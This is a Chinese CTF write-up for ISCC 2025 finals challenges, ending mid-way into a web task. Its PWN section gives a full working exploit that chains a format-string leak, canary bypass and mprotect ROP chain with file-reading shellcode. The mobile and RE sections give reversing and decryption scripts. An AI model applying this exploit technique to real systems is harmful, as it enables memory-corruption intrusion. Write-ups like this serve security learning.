ISCC 2025决赛 wp
PWN
Dilemma
64位程序没有开启PIE,并且过滤了execve,不能使用system这些的了,所以要考虑ORW来做
进入main函数分析,这里有两个函数一个func_1一个func_2。
这两个函数都有漏洞,以下是详细分析:
对于func_1函数
这个函数只允许运行一次,运行后就把HP,MP置空了,然后第一个read函数这里读入数据后就执行printf函数
这里的printf不安全存在格式字符串漏洞,可以利用这里的printf泄露栈上的地址和libc这些的。
然后后面的这个read函数存在栈溢出漏洞。
之后来看func_2函数
buf栈的大小只有0x30但可以读入0x100的大小,这里又有栈溢出漏洞,下面printf还有个格式化字符串漏洞。所以这个题的利用方法挺多的。
首先是要确定题目用的什么libc,要不然比较难搞。
这里通过格式化字符串漏洞泄露出puts的libc地址,然后利用LibcSearcher搜索到libc的版本libc6_2.35-0ubuntu3.8_amd64,然后再LibcSearcher下有个专门放libc的文件,去里面把这个libc6_2.35-0ubuntu3.8_amd64复制出来就欧克了。
然后利用mprotect函数结合栈溢出给栈开辟可读可执行的区域,执行我们的shellcode。如图:
然后就可以ORW了
EXP:
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')pwnfile = "./attachment-42"
io = remote("101.200.155.151", 12500)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")def send(data):io.send(data)def sendafter(delim, data):io.sendafter(delim, data)def sendline(data):io.sendline(data)def sendlineafter(delim, data):io.sendlineafter(delim, data)def recv(num=4096):return io.recv(num)def recvuntil(delims):return io.recvuntil(delims)def interactive():io.interactive()def unpack32(data):return u32(data.ljust(4, b'\x00'))def unpack64(data):return u64(data.ljust(8, b'\x00'))def leak_info(name, addr):log.success('{} = {:#x}'.format(name, addr))def log_address(address, data):log.success('%s: ' % (address) + hex(data))def choice(idx):sendlineafter(b"where are you go?", str(idx))puts_got = elf.got['puts']
pop_rdi = 0x000000000040119a
pop_rsi_r15 = 0x000000000040119c
shellcode = shellcraft.openat(-100, "/flag.txt", 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x50)def exploit():choice(1)recvuntil(b"Enter you password:")payload = b"%8$s.a%11$p%12$p" + p64(puts_got)sendline(payload)puts_addr = unpack64(io.recvuntil(b"\x7f")[-6:])recvuntil(b"0x")canary = int(recv(16), 16)recvuntil(b"0x")stack_addr = int(recv(12), 16) - 56mmap_addr = stack_addr - (stack_addr & 0xfff)target_addr = stack_addr - 24libc_base = puts_addr - libc.sym["puts"]pop_rdx_r12 = 0x000000000011f2e7 + libc_basemprotect_addr = libc_base + libc.sym["mprotect"]print("libc_base--------------->: ", hex(libc_base))recvuntil(b"I will check your password:")payload = b"a" * 0x4sendline(payload)choice(2)recvuntil(b"We have a lot to talk about")payload = b"1" * 0x28 + p64(canary) + p64(0)payload += p64(pop_rdi) + p64(mmap_addr)payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx_r12)payload += p64(7) + p64(0) + p64(mprotect_addr)payload += p64(target_addr + len(payload) + 8)payload += asm(shellcode)sendline(payload)interactive()exploit()
MOBILE:
GGAD
先用jadx分析,在主函数中找到,这是核心的验证逻辑,分为几个部分:
验证key的部分:
- 获取key输入框的内容并去除首尾空格如果key为空,显示提示并返回,将key设置到KeyManager中,调用native方法
validateKey
验证key,如果验证失败显示错误提示并返回.
验证flag的部分:
- 获取flag输入框的内容并去除首尾空格如果flag为空,显示提示并返回,检查flag格式是否正确(必须以"ISCC{“开头,以”}"结尾),否则显示格式错误
最后,提取flag内容部分(去掉"ISCC{“和”}"),调用一个名为a
的类的a
方法进行验证,传入key和flag内容,根据验证结果显示成功或失败消息
然后我们来看a的类:
-
使用native方法
JNI1
处理flag内容和key,使用native方法JNI1
处理flag内容和key,对二进制字符串再次使用native方法处理即JN2-
将JNI2的结果传给
b.a()
进行最终验证 -
数据处理流程:
flagContent + key → JNI1 → 十六进制到二进制转换 → JNI2 → 最终验证
-
对于JN1: 这个函数实现了RC4加密算法,用于处理MainActivity中传入的flag和key
对于JN2中,是对二进制数据进行反转和转换操作 ,代码如下:
for (i = 0LL; v10 != i; ++i) {v13 = (unsigned __int8)v7[i];if (v13 == 49) { // '1'的ASCII码v12 = 48; // 转换为'0'} else {if (v13 != 48) // '0'的ASCII码continue;v12 = 49; // 转换为'1'}std::string::push_back(&v21, v12);
}
里面还有个binaryToHex(&v18, &v21);函数,该函数是二进制转十六进制。
再来看b类:

先预设的二进制字符串常量PRESET_VALUE
,用于验证奇数位。
**extractOddPositions()**方法:
- 提取字符串中奇数位(索引从0开始,实际是第1、3、5…位)的字符,例如:“ABCDEF” → “ACE”。
**extractEvenPositions()**方法:
- 提取字符串中偶数位(索引从0开始,实际是第2、4、6…位)的字符,例如:“ABCDEF” → “BDF”
**validateOddPositions()**验证:
- 对奇数位字符串进行复杂转换后与预设值比较,转换流程:
- 将每个字符转换为16进制表示(2位)
- 将16进制字符串解析为整数
- 将整数转换为二进制字符串
- 格式化为8位二进制(前面补0)
- 将所有结果拼接
- 最终与
PRESET_VALUE
比较
**validateEvenPositions()**验证:
- 直接比较偶数位字符串与
c.a()
的返回值
再来看c类:
有个标准RC4算法实现,可用于加密
还有个经典Vigenère密码解密实现,只处理字母字符,其他字符原样保留,解密公式:(cipherChar - keyChar + 26) % 26
关键方法a()
public static String a() {return decrypt("2582J18CRG13", KeyManager.getKey());
}
- 这是
b
类中验证偶数位时调用的方法,使用Vigenère解密字符串"2582J18CRG13",密钥来自KeyManager.getKey()
(即用户输入的key)
分析完上面的内容后,逆向思路就有了,最后还差一个关键的东西那就是key,由开始的时候分析可知key在png里面。
我们发现res文件夹下有个pa.zip,解压下来。
发现一共有1000张png图片:
这里可能是lsb隐写,但写lsb脚本太麻烦了,根据前面的分析又可以知道,我们输入的key要经过validateKey 验证,在本地用ida分析libggad.so 搜索validateKey发现密钥的hash值:
把这个密钥拿到cmd5去解密:这是一条付费记录,购买后显示如下:
所以密钥是:ExpectoPatronum
通过上述所有分析,写逆向脚本:
EXP:
import itertoolsdef vigenere_decrypt(text, key):decrypted = []key_cycle = itertools.cycle(key.upper())for char in text:if char.isalpha():key_char = next(key_cycle)shift = ord(key_char) - ord('A')base = ord('A') if char.isupper() else ord('a')decrypted_char = chr((ord(char) - base - shift) % 26 + base)decrypted.append(decrypted_char)else:decrypted.append(char)return ''.join(decrypted)def binary_to_str(binary):return ''.join(chr(int(binary[i:i + 8].ljust(8, '0'), 2))for i in range(0, len(binary), 8))def interleave_strings(s1, s2):return ''.join(a + b for a, b in zip(s1, s2))[:min(len(s1), len(s2)) * 2]def hex_to_bytes(hex_str):return bytes(int(hex_str[i:i + 2], 16)for i in range(0, len(hex_str), 2))def invert_bits(binary):return ''.join('1' if b == '0' else '0' for b in binary)class RC4:def __init__(self, key):self.S = self._ksa(key.encode())def _ksa(self, key):S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % len(key)]) % 256S[i], S[j] = S[j], S[i]return Sdef _prga(self, data):S = self.S.copy()i = j = 0result = bytearray()for byte in data:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]t = (S[i] + S[j]) % 256result.append(byte ^ S[t])return bytes(result)def decrypt(self, ciphertext):return self._prga(ciphertext)def main():binary_cipher = '010000110011010101000110001100110011001100110100010001000011001100110100001100010100001000110011'vigenere_cipher = '2582J18CRG13'key = 'ExpectoPatronum'decrypted_vigenere = vigenere_decrypt(vigenere_cipher, key)binary_str = binary_to_str(binary_cipher)interleaved = interleave_strings(binary_str, decrypted_vigenere)if len(interleaved) % 2 != 0:interleaved = interleaved[:-1]byte_data = hex_to_bytes(interleaved)binary_repr = ''.join(f"{byte:08b}" for byte in byte_data)inverted_bits = invert_bits(binary_repr)final_cipher = bytes(int(inverted_bits[i:i + 8].ljust(8, '0'), 2)for i in range(0, len(inverted_bits), 8))rc4 = RC4(key)decrypted = rc4.decrypt(final_cipher)try:flag = decrypted.decode('utf-8')except UnicodeDecodeError:try:flag = decrypted.decode('latin-1')except:flag = ''.join(f'\\x{byte:02x}' for byte in decrypted)print(f"ISCC{{{flag}}}")if __name__ == "__main__":main()
叽米是梦的开场白
进入主函数:
加载本地库 libmobile04.so
-
decryptSegment()
:解密DEX文件分段。getEncryptedSegment()
:获取加密的DEX分段。 -
广播过滤器
com.example.mobile04.GET_DEX
和com.example.mobile04.DEX_SEGMENT
用于安全通信。
验证码检查逻辑
用户输入验证码。通过 native的方法BdCheck()
生成基础字符串。验证输入是否匹配处理后的字符串(B()
结果)。若匹配,保存 C()
生成的token到SharedPreferences
这里来看B和C函数:
-
B(String str)
:反转字符串并移除数字(如输入a1b2c3
→cba
)。C(String str)
:提取字符串中的数字(如输入a1b2c3
→123
)。
这里是DataReceiver(接收并组装DEX),分段索引通过 index
标识,确保顺序正确。最终写入 files/decrypted.dex
,供后续验证使用。这里就是动态加载dex文件,dex文件从lib文件mobile04可以得到
在lib文件夹下找到mobile04.so,拖入IDA中分析。
这里分析getEncryptedSegment函数,这里看到了一个数组
可以看到这里是一个正常的dex文件头,应该没有加密,把他们都复制下面,写入文件。
s=[100, 101, 120, 10, 48, 51, 53, 0, 58, 31,254, 115, 96, 254, 46, 172, 76, 7, 53, 152,229, 176, 230, 44, 234, 166, 170, 229, 141, 164,196, 76, 248, 6, 0, 0, 112, 0, 0, 0,120, 86, 52, 18, 0, 0, 0, 0, 0, 0,0, 0, 88, 6, 0, 0, 39, 0, 0, 0,112, 0, 0, 0, 15, 0, 0, 0, 12, 1,0, 0, 10, 0, 0, 0, 72, 1, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 15, 0,0, 0, 192, 1, 0, 0, 1, 0, 0, 0,56, 2, 0, 0, 160, 4, 0, 0, 88, 2,0, 0, 166, 3, 0, 0, 176, 3, 0, 0,184, 3, 0, 0, 192, 3, 0, 0, 217, 3,0, 0, 220, 3, 0, 0, 245, 3, 0, 0,248, 3, 0, 0, 252, 3, 0, 0, 29, 4,0, 0, 52, 4, 0, 0, 72, 4, 0, 0,102, 4, 0, 0, 122, 4, 0, 0, 142, 4,0, 0, 165, 4, 0, 0, 186, 4, 0, 0,206, 4, 0, 0, 229, 4, 0, 0, 8, 5,0, 0, 16, 5, 0, 0, 31, 5, 0, 0,34, 5, 0, 0, 39, 5, 0, 0, 43, 5,0, 0, 48, 5, 0, 0, 51, 5, 0, 0,55, 5, 0, 0, 60, 5, 0, 0, 64, 5,0, 0, 75, 5, 0, 0, 84, 5, 0, 0,93, 5, 0, 0, 101, 5, 0, 0, 111, 5,0, 0, 124, 5, 0, 0, 132, 5, 0, 0,138, 5, 0, 0, 151, 5, 0, 0, 4, 0,0, 0, 8, 0, 0, 0, 9, 0, 0, 0,10, 0, 0, 0, 11, 0, 0, 0, 12, 0,0, 0, 13, 0, 0, 0, 14, 0, 0, 0,15, 0, 0, 0, 16, 0, 0, 0, 17, 0,0, 0, 18, 0, 0, 0, 21, 0, 0, 0,25, 0, 0, 0, 28, 0, 0, 0, 7, 0,0, 0, 10, 0, 0, 0, 120, 3, 0, 0,21, 0, 0, 0, 12, 0, 0, 0, 0, 0,0, 0, 22, 0, 0, 0, 12, 0, 0, 0,128, 3, 0, 0, 23, 0, 0, 0, 12, 0,0, 0, 120, 3, 0, 0, 23, 0, 0, 0,12, 0, 0, 0, 136, 3, 0, 0, 24, 0,0, 0, 12, 0, 0, 0, 144, 3, 0, 0,26, 0, 0, 0, 13, 0, 0, 0, 120, 3,0, 0, 27, 0, 0, 0, 13, 0, 0, 0,152, 3, 0, 0, 6, 0, 0, 0, 14, 0,0, 0, 0, 0, 0, 0, 7, 0, 0, 0,14, 0, 0, 0, 160, 3, 0, 0, 1, 0,1, 0, 0, 0, 0, 0, 1, 0, 1, 0,1, 0, 0, 0, 1, 0, 6, 0, 29, 0,0, 0, 1, 0, 9, 0, 31, 0, 0, 0,1, 0, 8, 0, 35, 0, 0, 0, 3, 0,1, 0, 1, 0, 0, 0, 4, 0, 3, 0,1, 0, 0, 0, 4, 0, 4, 0, 1, 0,0, 0, 5, 0, 8, 0, 33, 0, 0, 0,6, 0, 3, 0, 37, 0, 0, 0, 9, 0,7, 0, 32, 0, 0, 0, 10, 0, 9, 0,30, 0, 0, 0, 10, 0, 0, 0, 34, 0,0, 0, 10, 0, 2, 0, 36, 0, 0, 0,11, 0, 5, 0, 1, 0, 0, 0, 1, 0,0, 0, 1, 0, 0, 0, 3, 0, 0, 0,0, 0, 0, 0, 20, 0, 0, 0, 0, 0,0, 0, 53, 6, 0, 0, 0, 0, 0, 0,2, 0, 1, 0, 2, 0, 0, 0, 88, 3,0, 0, 32, 0, 0, 0, 110, 16, 8, 0,1, 0, 12, 1, 113, 16, 3, 0, 1, 0,12, 1, 19, 0, 16, 0, 35, 0, 14, 0,38, 0, 8, 0, 0, 0, 113, 32, 10, 0,1, 0, 10, 1, 15, 1, 0, 3, 1, 0,16, 0, 0, 0, 49, 65, 54, 56, 56, 50,68, 68, 49, 49, 70, 51, 53, 53, 69, 52,4, 0, 1, 0, 3, 0, 1, 0, 95, 3,0, 0, 48, 0, 0, 0, 113, 0, 4, 0,0, 0, 12, 0, 56, 0, 29, 0, 33, 1,19, 2, 24, 0, 51, 33, 24, 0, 34, 1,11, 0, 26, 2, 2, 0, 112, 48, 14, 0,1, 2, 26, 0, 3, 0, 113, 16, 12, 0,0, 0, 12, 0, 18, 18, 110, 48, 13, 0,32, 1, 110, 32, 11, 0, 48, 0, 12, 3,17, 3, 34, 3, 4, 0, 26, 0, 5, 0,112, 32, 6, 0, 3, 0, 39, 3, 13, 3,34, 0, 4, 0, 112, 32, 7, 0, 48, 0,39, 0, 0, 0, 0, 0, 41, 0, 1, 0,1, 1, 2, 41, 1, 0, 0, 0, 1, 0,0, 0, 110, 3, 0, 0, 6, 0, 0, 0,26, 0, 19, 0, 113, 16, 9, 0, 0, 0,14, 0, 1, 0, 1, 0, 1, 0, 0, 0,115, 3, 0, 0, 4, 0, 0, 0, 112, 16,5, 0, 0, 0, 14, 0, 32, 1, 0, 14,135, 120, 0, 16, 1, 0, 14, 75, 123, 120,105, 76, 2, 121, 89, 142, 30, 0, 10, 0,14, 90, 0, 6, 0, 14, 0, 0, 1, 0,0, 0, 5, 0, 0, 0, 2, 0, 0, 0,0, 0, 8, 0, 1, 0, 0, 0, 7, 0,0, 0, 2, 0, 0, 0, 14, 0, 5, 0,2, 0, 0, 0, 14, 0, 14, 0, 1, 0,0, 0, 14, 0, 8, 60, 99, 108, 105, 110,105, 116, 62, 0, 6, 60, 105, 110, 105, 116,62, 0, 6, 68, 69, 83, 101, 100, 101, 0,23, 68, 69, 83, 101, 100, 101, 47, 69, 67,66, 47, 80, 75, 67, 83, 53, 80, 97, 100,100, 105, 110, 103, 0, 1, 73, 0, 23, 73,110, 118, 97, 108, 105, 100, 32, 107, 101, 121,32, 102, 114, 111, 109, 32, 110, 97, 116, 105,118, 101, 0, 1, 76, 0, 2, 76, 76, 0,31, 76, 99, 111, 109, 47, 101, 120, 97, 109,112, 108, 101, 47, 109, 111, 98, 105, 108, 101,48, 52, 47, 83, 117, 110, 100, 97, 121, 49,49, 59, 0, 21, 76, 106, 97, 118, 97, 47,108, 97, 110, 103, 47, 69, 120, 99, 101, 112,116, 105, 111, 110, 59, 0, 18, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 79, 98,106, 101, 99, 116, 59, 0, 28, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 82, 117,110, 116, 105, 109, 101, 69, 120, 99, 101, 112,116, 105, 111, 110, 59, 0, 18, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 83, 116,114, 105, 110, 103, 59, 0, 18, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 83, 121,115, 116, 101, 109, 59, 0, 21, 76, 106, 97,118, 97, 47, 108, 97, 110, 103, 47, 84, 104,114, 111, 119, 97, 98, 108, 101, 59, 0, 19,76, 106, 97, 118, 97, 47, 115, 101, 99, 117,114, 105, 116, 121, 47, 75, 101, 121, 59, 0,18, 76, 106, 97, 118, 97, 47, 117, 116, 105,108, 47, 65, 114, 114, 97, 121, 115, 59, 0,21, 76, 106, 97, 118, 97, 120, 47, 99, 114,121, 112, 116, 111, 47, 67, 105, 112, 104, 101,114, 59, 0, 33, 76, 106, 97, 118, 97, 120,47, 99, 114, 121, 112, 116, 111, 47, 115, 112,101, 99, 47, 83, 101, 99, 114, 101, 116, 75,101, 121, 83, 112, 101, 99, 59, 0, 6, 83,117, 110, 100, 97, 121, 0, 13, 83, 117, 110,100, 97, 121, 49, 49, 46, 106, 97, 118, 97,0, 1, 86, 0, 3, 86, 73, 76, 0, 2,86, 76, 0, 3, 86, 76, 76, 0, 1, 90,0, 2, 90, 76, 0, 3, 90, 76, 76, 0,2, 91, 66, 0, 9, 99, 104, 101, 99, 107,70, 108, 97, 103, 0, 7, 100, 111, 70, 105,110, 97, 108, 0, 7, 101, 110, 99, 114, 121,112, 116, 0, 6, 101, 113, 117, 97, 108, 115,0, 8, 103, 101, 116, 66, 121, 116, 101, 115,0, 11, 103, 101, 116, 73, 110, 115, 116, 97,110, 99, 101, 0, 6, 103, 101, 116, 75, 101,121, 0, 4, 105, 110, 105, 116, 0, 11, 108,111, 97, 100, 76, 105, 98, 114, 97, 114, 121,0, 155, 1, 126, 126, 68, 56, 123, 34, 98,97, 99, 107, 101, 110, 100, 34, 58, 34, 100,101, 120, 34, 44, 34, 99, 111, 109, 112, 105,108, 97, 116, 105, 111, 110, 45, 109, 111, 100,101, 34, 58, 34, 100, 101, 98, 117, 103, 34,44, 34, 104, 97, 115, 45, 99, 104, 101, 99,107, 115, 117, 109, 115, 34, 58, 102, 97, 108,115, 101, 44, 34, 109, 105, 110, 45, 97, 112,105, 34, 58, 49, 44, 34, 115, 104, 97, 45,49, 34, 58, 34, 97, 98, 97, 97, 98, 52,54, 57, 98, 53, 101, 98, 100, 52, 100, 100,50, 98, 98, 57, 49, 98, 97, 48, 101, 100,54, 102, 52, 53, 50, 55, 55, 102, 97, 97,101, 52, 99, 97, 34, 44, 34, 118, 101, 114,115, 105, 111, 110, 34, 58, 34, 56, 46, 54,46, 50, 45, 100, 101, 118, 34, 125, 0, 0,0, 5, 0, 0, 136, 128, 4, 164, 6, 1,129, 128, 4, 192, 6, 1, 9, 216, 4, 1,9, 168, 5, 1, 137, 2, 0, 0, 0, 0,0, 0, 0, 0, 13, 0, 0, 0, 0, 0,0, 0, 1, 0, 0, 0, 0, 0, 0, 0,1, 0, 0, 0, 39, 0, 0, 0, 112, 0,0, 0, 2, 0, 0, 0, 15, 0, 0, 0,12, 1, 0, 0, 3, 0, 0, 0, 10, 0,0, 0, 72, 1, 0, 0, 5, 0, 0, 0,15, 0, 0, 0, 192, 1, 0, 0, 6, 0,0, 0, 1, 0, 0, 0, 56, 2, 0, 0,1, 32, 0, 0, 4, 0, 0, 0, 88, 2,0, 0, 3, 32, 0, 0, 4, 0, 0, 0,88, 3, 0, 0, 1, 16, 0, 0, 6, 0,0, 0, 120, 3, 0, 0, 2, 32, 0, 0,39, 0, 0, 0, 166, 3, 0, 0, 0, 32,0, 0, 1, 0, 0, 0, 53, 6, 0, 0,3, 16, 0, 0, 1, 0, 0, 0, 84, 6,0, 0, 0, 16, 0, 0, 1, 0, 0, 0,88, 6, 0
]
with open("decrypted.dex", "wb") as f:f.write(bytes(s))
然后把生成的decrypted.dex放进jeb中分析:
DESede/ECB 加密,密钥在sunday.so中,加密后的内容是:49, 65, 54, 56, 56, 50, 68, 68, 49, 49, 70, 51, 53, 53, 69, 52
密钥是:ysg6OquYJKfPyhQj0h1eTemM
然后去赛博厨子解密:
然后继续回到mainactivity中:
首先检查输入字符串str的基本格式:
- 长度必须≥13个字符,必须以"ISCC{“开头,必须以”}"结尾,如果不符合这些条件,立即通过回调返回false
然后检查是否存在"decrypted.dex"文件:
这里的Checkflag就是前面那个dex的函数解密出来的值。然和着重来看看checkflag2
丢给AI分析:
这里用密钥 “mihoyoZZZStarRai” 创建 AES 密钥,获取 AES/ECB/PKCS5Padding 加密实例
加密比较:对输入字符串 str
进行加密,对硬编码字符串 “si(%f0yo” 进行加密,比较两个加密结果是否相同
但这里是假的flag因为FFlag就是fake flag
接下来分析第二部分,这部分调用了a的a方法,这里的loadEncryptedLib是从assets读取的
我们进入a类:
这里才是checkflag2的地方,这个代码的主要实现在Monday中,分析Monday.so文件
我们在这里可以发现v9就是参数,可以看到传入的enreal数组,在后面的循环里对enreal里面的二进制数据进行解密操作。
我们写一个解密脚本:
def transform_byte(b):b = (b << 2 | b >> 6) & 0xFFb ^= 0xAAreturn (b >> 3 | b << 5) & 0xFFwith open("enreal", "rb") as src, open("decode_enreal", "wb") as dst:dst.write(bytes(transform_byte(b) for b in src.read()))
然后把生成的decode_enreal文件丢进ida中分析:
在ida中搜索check函数,发现一个real_check函数打开分析:这里看到des_ede3_ecb,这里是一个进行三次的des加密。P6teIPg0XAc0tyusl7BEdyPF这个字符串就是我们要要的密钥,0xABEA84A86853DF2F 就是密文,这里还有进行大小端转换。
然后也是赛博解密:
把上面的第一部分flag和这部分flag合并起来就是完整的flag
flag:ISCC{oJ9j2xiwgjkkhf}
RE:
CrackMe
把文件拖入IDA中,进入WinMain函数:
标准的Windows GUI应用程序入口函数 WinMain
的实现,用于创建一个简单的窗口应用程序。
这里进入sub_1400013E0函数:
hWnd = GetDlgItem(hWndParent, 1); // 获取ID=1的控件句柄(编辑框)
GetWindowTextW(hWnd, &v12[5], 256); // 读取用户输入的文本到v12[5]
-
sub_1400048AC
:sub_1400048AC
是一个 高度优化的宽字符字符串长度计算函数(类似wcslen
),主要用于快速计算以 null 结尾的 Unicode 字符串(wchar_t*
)的长度。 -
strcpy
:将"SecretKey"
复制到v12
(secretkey用作密钥)。 -
sub_1400012A0
:进一步处理输入文本(使用密钥加密)这个程序有很多地方都有花指令,去掉花指令后分析。
对于sub_140001000函数有个异或65的加密
这里对于sub_7FF6DCCB1080函数
这个函数是一个 字符串处理函数,它遍历一个宽字符(
WORD
,即wchar_t
)数组,并对每个字母字符进行位移操作。这里着重看看sub_1400012A0函数
这段代码实现了一个类似RC4的流加密算法。以下是关键点分析:(丢给AI)
-
v8 = HIDWORD(a1)
获取输入数据长度sub_140001160(v9)
可能初始化256字节的S盒(代码中显示为4字节数组,实际可能被优化) -
使用
v6
和v5
作为状态索引,通过模256运算保持范围sub_140001260
函数实现S盒的交换操作(类似RC4的swap),最终通过异或运算^=
实现流加密
对于sub_140001160(v9) 函数:
这个函数是 RC4 密钥调度算法,用于初始化 RC4 的 S 盒)。结合之前分析的 sub_1400012A0
),可以确认这是一个完整的 RC4 加密/解密 实现.
这是sub_140001260的交换操作
char *__fastcall sub_140001260(char *a1, char *a2)
{char *result; // raxchar v3; // [rsp+7h] [rbp-11h]v3 = *a1;*a1 = *a2;result = a2;*a2 = v3;return result;
}
然后回到sub_1400013E0函数,分析这个函数:sub_1400029D0(String2, &unk_140010010, 44i64);
对于sub_1400029D0是 实现了一个高效的内存拷贝函数,其功能是将源地址unk_140010010
处的44字节数据复制到目标地址String2
中。
点击unk_140010010查看数据,把数据提取出来:
通过上面所有分析逆向写代码:
EXP:
def rc4_decrypt(ciphertext, key):S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % len(key)]) % 256S[i], S[j] = S[j], S[i]i = j = 0plaintext = []for byte in ciphertext:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]k = S[(S[i] + S[j]) % 256]plaintext.append(byte ^ k)return bytes(plaintext)def caesar_decrypt(text):result = []for c in text:if ord('a') <= c <= ord('z'):result.append((c - ord('a') - 3) % 26 + ord('a'))elif ord('A') <= c <= ord('Z'):result.append((c - ord('A') - 3) % 26 + ord('A'))else:result.append(c)return bytes(result)def selective_xor(text):result = []for i in range(0, len(text), 2):result.append(text[i] ^ 65)return bytes(result)s = [0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,0x4C, 0x46, 0x82, 0xF0, 0x33, 0x81, 0xAA, 0xE6, 0xF3, 0xEE,0x05, 0x9A, 0x32, 0x28, 0x7D, 0x6B, 0xBF, 0xE8, 0x94, 0x24,0x97, 0x3F, 0xF8, 0x15, 0x53, 0x17, 0xEF, 0x91, 0x8B, 0xFE,0x35, 0x74
]key = "SecretKey".encode()
decrypted = rc4_decrypt(s, key)
print("RC4 Decrypted (hex):", decrypted.hex())caesar_output = caesar_decrypt(decrypted)
print("Caesar Decrypted (hex):", caesar_output.hex())final_output = selective_xor(caesar_output)
print("Final Output (hex):", final_output.hex())try:print("Final ASCII:", final_output.decode('ascii'))
except UnicodeDecodeError:print("Final output is not ASCII (may be binary data)")
uglyCpp
放进ida分析。
调用了一个复杂命名的函数ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6,对 v12
(输入)进行处理。
进入ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6函数分析:
这里代码量很大有很难理解,没关系,我们交给Ai分析一下:
AI分析:
从代码逻辑来看,是在处理一个字符串(std::string
),并构建一个树状结构(可能是二叉树),其中每个节点是一个strc
类型的对象,通过std::shared_ptr
管理。
strc
结构推测:
-
左子节点指针偏移:
+8
(可能是strc* left
)。右子节点指针偏移:+24
(可能是strc* right
)。 -
因此,
strc
可能类似:struct strc {char data; // +0strc* left; // +8strc* right; // +24 };
输入:一个字符串(std::string
)。
输出:一个std::shared_ptr<strc>
,指向由字符串构建的二叉树根节点。树的构建方式:根节点:字符串的第一个字符。后续字符按层次遍历顺序分配给左右子节点。
然后再分析**ZNK17KDXgsB2q4YQad5xBZMUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6_**函数
这是将一个 std::string
转换为 std::vector<unsigned int>
,其中每4个连续的字符被组合成一个32位无符号整数(小端序存储)
然后进入ZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_函数:
这个函数进行加密以及校验,可以看到这了有三个函数。进入ZZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_ENKUlvE_clEv 函数:
从索引1开始遍历vector,每个元素的值等于前一个元素的值减去1640531527
(十六进制0x61C88647
),循环直到处理完所有元素。
这就是生成一个固定的数组,对于下一个函数
这个函数实际上实现了一个vector的拷贝并反转的操作,使用了STL的std::reverse
算法来反转元素函数返回新构造的vector(通过a1
返回)
对于第三个函数:
这个函数就是对之前的生成的数组和key进行复杂的运算,最后的结果会得到一个新的数组。
这三个函数的初始值都是固定的,运行过程也没有什么动态的参数传近来,所以生成的结果也是一个定值。
然后我们在进入ZNK28gxoPJ4FNZcYkWUGp7wE96Z9Pzuw8MUlRKSt6vectorIjSaIjEES3_mE_clES3_S3_m函数进行分析
这个函数是一个复杂的向量处理函数,主要功能是对两个输入向量进行某种组合处理并输出结果。
将输入向量按4个元素一组进行处理,每组元素与通过ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_
函数生成的值进行异或操作,这一串的操作也是固定值生成固定值。然后来分析一下ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_函数:
ZNK22S7rbqdRXd18oVRCMfwW2ZgMUljjE_clEjj
是核心非线性函数,从使用模式看,可能实现:旋转、模乘或位混合操作
使用44个密钥字(索引0-43),前2个用于初始化,中间40个用于20轮变换(每轮2个),最后2个用于最终处理,Feistel结构特征:每轮处理两个32位字(v12/v14),使用另两个字(v13/v15)作为"轮密钥",通过swap操作实现数据扩散。
然后回到主函数分析ZNK12S4V3u5wVUXnyMUlRSt6vectorIjSaIjEEE_clES2_函数:
使用v13数组初始化临时vector(v12),首先检查输入vector大小是否为9不等则跳转到错误处理,使用迭代器遍历两个vector,比较每个对应位置的元素,任何不匹配立即终止并报错。加密流程就是层序转后序,然后进行异或,我们可以在进行异或前把输入的值全改为0,异或后就能得到我们要的xor数组。
addr = 0x13E1C90
for i in range(0x24):patch_byte(addr+i,0)
输入的值全改为0后等异或结束后,再输出异或后的值:
addr = 0x13E1C90
data = [0 for i in range(9)]
for i in range(9):data[i] = get_wide_dword(addr+i*4)
print(data)
如上图是异或一组后的数据,当所有数据都异或完后,就全部提取出。就能拿到xor的key
综上分析exp:
data = [0x7D9C7D63, 0x946CCE23, 0x97B43065, 0x90B66BC2,0x5422B982, 0x2D3275B6, 0x73C3C042, 0xA28C8CB5,0xEC78C0B]
keys = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791,0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6,0x40B2BB6C]scramble = "5p6h7q8d9risbtjuevkwaxlyfzm0c1n2g3o4"
normal = "abcdefghijklmnopqrstuvwxyz0123456789"data = [x & 0xFFFFFFFF for x in data]decrypted = [data[i] ^ keys[i] for i in range(len(data))]result = ""
for num in decrypted:bytes_val = num.to_bytes(4, 'little')result += bytes_val.decode('latin-1')final = ""
for c in normal:final += result[scramble.index(c)]print(final)
WEB
谁动了我的奶酪
观察图片,后面这只老鼠叫Tom,所有是Tom动了蛋糕,交Tom就过了
然后就拿到源码Y2hlZXNlT25l.php:
据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!
<?php
